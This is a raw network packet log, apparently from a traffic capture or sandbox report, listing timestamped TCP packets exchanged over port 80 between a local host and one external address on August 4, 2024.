Aug 4, 2024 12:55:10.099991083 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.100018978 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.100054979 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.100116014 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.100131035 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.100158930 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.100212097 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.100225925 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.100258112 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.102778912 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.102845907 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.102849007 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.102860928 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.102905035 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.102907896 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.102924109 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.102962017 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.103007078 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.103022099 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.103035927 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.103060007 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.112612009 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.112658978 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.112673044 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.112680912 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.112740993 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.112785101 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.112821102 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.112870932 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.112885952 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.112900972 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.112915993 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.112962961 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.122087955 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.122145891 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.122162104 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.122167110 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.122217894 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.122287035 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.122302055 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.122318983 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.122392893 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.122416019 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.122453928 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.138268948 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.138453960 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.138469934 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.138493061 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.138508081 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.138511896 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.138524055 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.138540983 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.138674974 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.138674974 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.138717890 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.138732910 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.138747931 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.138763905 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.138770103 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.138778925 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.138794899 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.138809919 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.138813019 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.138860941 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.141416073 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.141470909 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.141486883 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.141518116 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.141591072 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.141606092 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.141642094 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.141688108 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.141704082 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.141732931 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.147842884 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.147916079 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.147931099 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.147969961 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.147995949 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.148046970 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.148081064 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.148096085 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.148159981 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.148174047 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.148243904 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.150091887 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.150152922 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.150170088 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.150206089 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.150265932 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.150310993 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.150352955 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.150367975 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.150382996 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.150398970 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.152364016 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.152409077 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.152431011 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.152446032 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.152488947 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.152574062 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.152587891 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.152605057 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.152620077 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.152717113 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.152756929 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.158199072 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.158246994 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.158293962 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.158303976 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.158318996 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.158360004 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.158427000 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.158487082 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.158500910 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.158514977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.158530951 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.158551931 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.164365053 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.164495945 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.164510965 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.164541960 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.164582014 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.164597034 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.164612055 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.164627075 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.164627075 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.164650917 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.170202971 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.170253038 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.170275927 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.170291901 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.170331955 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.170378923 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.170393944 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.170408010 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.170423985 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.170532942 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.170579910 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.176479101 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.176520109 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.176532984 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.176561117 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.176621914 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.176636934 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.176651955 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.176666021 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.176695108 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.176765919 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.176780939 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.176836967 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.180514097 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.180565119 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.180579901 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.180608988 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.180716991 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.180732965 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.180753946 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.180761099 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.180768013 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.180793047 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.185127974 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.185180902 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.185189009 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.185204983 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.185242891 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.185261011 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.185340881 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.185355902 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.185372114 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.185381889 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.185424089 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.188004017 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.188040972 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.188055992 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.188083887 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.188177109 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.188191891 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.188206911 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.188216925 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.188221931 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.188262939 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.190615892 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.190665960 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.190680981 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.190696001 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.190722942 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.190785885 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.190802097 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.190817118 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.190831900 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.190846920 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.190876007 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.200391054 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.200417995 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.200433016 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.200463057 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.200510979 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.200526953 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.200654984 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.200699091 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.200715065 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.200728893 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.200742006 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.200767994 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.209919930 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.209954023 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.209969044 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.210005999 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.210094929 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.210109949 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.210125923 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.210134983 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.210180044 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.210206032 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.225982904 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.226028919 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.226047039 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.226135969 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.226135969 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.226162910 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.226252079 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.226267099 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.226281881 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.226291895 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.226298094 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.226314068 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.226335049 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.226360083 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.226527929 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.226542950 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.226557970 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.226583958 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.226686954 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.226702929 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.226727009 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.229088068 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.229108095 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.229134083 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.229208946 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.229223013 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.229257107 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.229305983 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.229321957 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.229336977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.229345083 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.229351044 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.229387045 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.235296965 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.235372066 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.235385895 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.235430002 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.235449076 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.235455990 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.235568047 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.235583067 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.235618114 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.235622883 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.235670090 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.237910032 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.237991095 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.238006115 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.238045931 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.238135099 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.238149881 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.238164902 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.238179922 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.238182068 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.238208055 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.239905119 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.239950895 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.239953041 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.239969969 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.240009069 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.240107059 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.240122080 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.240129948 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.240144968 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.240164042 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.240189075 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.245985985 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.246047020 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.246062040 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.246090889 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.246200085 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.246215105 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.246229887 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.246244907 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.246246099 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.246258974 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.246272087 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.246310949 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.251924038 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.251962900 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.251979113 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.252008915 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.252085924 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.252130985 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.252165079 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.252180099 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.252193928 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.252209902 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.257771015 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.257796049 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.257811069 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.257821083 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.257853985 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.257950068 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.257966042 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.257980108 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.258003950 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.258085966 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.258131027 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.265027046 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.265050888 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.265064001 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.265101910 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.265194893 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.265209913 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.265224934 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.265240908 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.265240908 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.265265942 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.265376091 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.265422106 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.268274069 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.268320084 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.268335104 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.268363953 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.268455029 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.268496990 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.268513918 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.268529892 CEST	80	49709	39.97.203.40	192.168.2.5
